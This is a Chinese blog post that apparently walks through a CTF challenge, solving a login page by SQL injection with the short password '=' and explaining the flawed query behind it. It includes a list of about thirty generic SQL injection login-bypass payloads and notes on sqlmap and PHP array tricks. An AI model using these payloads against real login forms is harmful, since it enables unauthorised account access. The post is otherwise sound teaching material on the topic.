CTF中Web密码绕过(特殊的万能密码绕过)详解

可能做过CTF题的朋友们,都有一定的了解过Web登陆密码绕过这种类型的题目,绕过的方法也有很多,层次不穷,今天帮朋友的时候也遇到了这类型的题目,但是又非常的特别,网络上也是很少见的,特意分享出来一下。

 

题目:

admin的密码非常长,但是有最短的方式绕过。

 

前台代码:

<html>
<body>
<div style="width:100%;text-align:center">
<form action="index.php" method="post">
<input value="" name='username'>
<br>
<input value="" name='password'>
<br>
<input type="submit" value="Submit" />
</form>
admin的密码非常长,但是有最短的方式绕过</div>

 

绕过方法:

这里用到的是SQL注入万能密码绕过:用户名为:admin,密码为:'='

SQL注入万能密码绕过 '='

 

原理:

原理就是用的SQL语句的查询注入漏洞。

 

内部的查询语句:

$sql = “select user from flag where user=’\$_POST[‘user’]’ and password=’\$_POST[‘password’]’”;

 

输入'=' 后,查询语句为:

$sql = “select user from flag where user=’admin’ and password=’‘=’‘”;

 

user='admin' 为真,而 password=''='' 也为真。

这样就相当于:

$sql = “select user from flag where 1 and 1”;

 

这样就爆出了用户,也拿到了flag。

如果题目没有限制用户名,我们也可以 user=''='' ,那样就能 爆出了所有的用户。

 

谈谈我绕过此题目的整个思路

先申明一下,我解题前没有任何的源码?只有一个html页面的form表单,提交到index.php仅此而已。

 

第一步:先判断漏洞类型?

漏洞类型有很多,例如:xss 、SQL注入、密码学......等等。

我们打CTF时主要是判断此题目的考点方向是什么?

 

我看了此题目后,首先想到的就是PHP万能密码绕过(SQL注入),例如:

"or "a"="a

"or 1=1--

"or"="

"or"="a'='a

"or1=1--

"or=or"

''or'='or'

') or ('a'='a

'.).or.('.a.'='.a

'or 1=1

'or 1=1--

'or 1=1/*

'or"="a'='a

'or' '1'='1'

'or''='

'or''=''or''='

'or'='1'

'or'='or'

'or.'a.'='a

'or1=1--

1'or'1'='1

a'or' 1=1--

a'or'1=1--

or 'a'='a'

or 1=1--

or1=1--

 

随意找了几个试了一下,结果以失败告终,提示“so Long",意思就是太长了。

so long

 

同时,在这个步骤的时候,我也用 sqlmap 跑了一下表单post注入 ,结果提示是没有注入。

 

sqlmap没有注入只有两种情况:

1、真的是没有任何注入。

2、SQL语句写得非常好,其实也有注入漏洞,只是扫描不到而已。例如:

$sql = "INSERT INTO `test`.`users` (`id`, `username`, `password`) VALUES (NULL, \'fujieace\', \'123456\');";

 

第二步:判断密码允许输入的长度?

经过我输入用户名 admin,密码 123456789 不断的尝试,我发现一个问题,密码的长度只能4位及以下才不会报错,只要大于4位就会提示“so long"。

 

第三步:PHP sha1 md5绕过

由于我上面跑了sqlmap,先入为主的认为了没有SQL注入,既然是密码绕过,首先:我猜测是PHP MD5真等于和数值绕过,结果我试了,根本没有生成 4位 的字符串。说明姿势不对。

 

然后,我又猜测是PHP中sha1()函数和md5()函数的绕过,通过抓包以 user[]=admin&passwd[]=2 数组的方式去绕过,这下密码字符串都在 4位 以下了,结果给我报错如下:

Warning: addslashes() expects parameter 1 to be string, array given in /var/www/html/index.php on line 20

Warning: strlen() expects parameter 1 to be string, array given in /var/www/html/index.php on line 22

中文翻译

警告:addslashes()期望参数1为字符串,在第20行的/var/www/html/index.php中给出的数组

警告:strlen()期望参数1为字符串,在第22行的/var/www/html/index.php中给出的数组

Warning: addslashes() expects parameter 1 to be string, array given in /var/www/html/index.php on line 20 Warning: strlen() expects parameter 1 to be string, array given in /var/www/html/index.php on line 22

 

说明姿势依然不对,经过我反复的尝试,我发现此代码的用户名和密码只允许字符串。

而且用户名用了addslashes()过滤,密码似乎没有用,因为我这里给密码传一个数组的时候,密码警告只有strlen();

 

第四步:综合分析

用户名是:admin,这是写死的。

密码只能是:等于小于4位,而且必须是字符串。

考点是:最短的方式绕过admin的密码。

再加上sqlmap扫描不到漏洞,说明sql语句写法很特别,估计还是SQL注入漏洞。其它的漏洞类型似乎也不符合这。

 

那就,只有一种很不常用的密码绕过方法:'='

    A+
发布日期:2020年07月03日 13:03:27  所属分类:渗透测试
最后更新时间:2020-07-03 13:03:27
评分: (1 票;平均数5.00 ;最高评分 5 ;用户总数1;总得分 5;百分比100.00)
付杰
PHP运行环境 wamp lamp lnmp 安装 配置 搭建
PHP运行环境 wamp lamp lnmp 安装 配置 搭建
  • ¥ 9.9元
  • 市场价:49.9元
服务器管理面板/主机控制面板“安装”服务
服务器管理面板/主机控制面板“安装”服务
  • ¥ 9.9元
  • 市场价:49.9元
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
  • ¥ 6.8元
  • 市场价:8.8元
免费SSL证书 HTTPS申请 安装 配置 支持通配符*
免费SSL证书 HTTPS申请 安装 配置 支持通配符*
  • ¥ 199.9元
  • 市场价:20000元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: